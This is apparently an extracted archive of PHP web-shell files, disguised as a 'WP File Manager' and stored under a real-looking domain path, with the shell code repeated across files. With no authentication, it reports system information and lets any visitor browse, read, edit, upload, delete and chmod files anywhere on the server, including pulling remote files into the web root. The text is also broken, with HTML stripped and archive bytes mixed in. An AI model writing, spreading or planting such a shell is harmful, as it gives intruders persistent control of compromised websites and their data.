'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ësend@autoshkolla.com.al/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ësend@autoshkolla.com.al/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
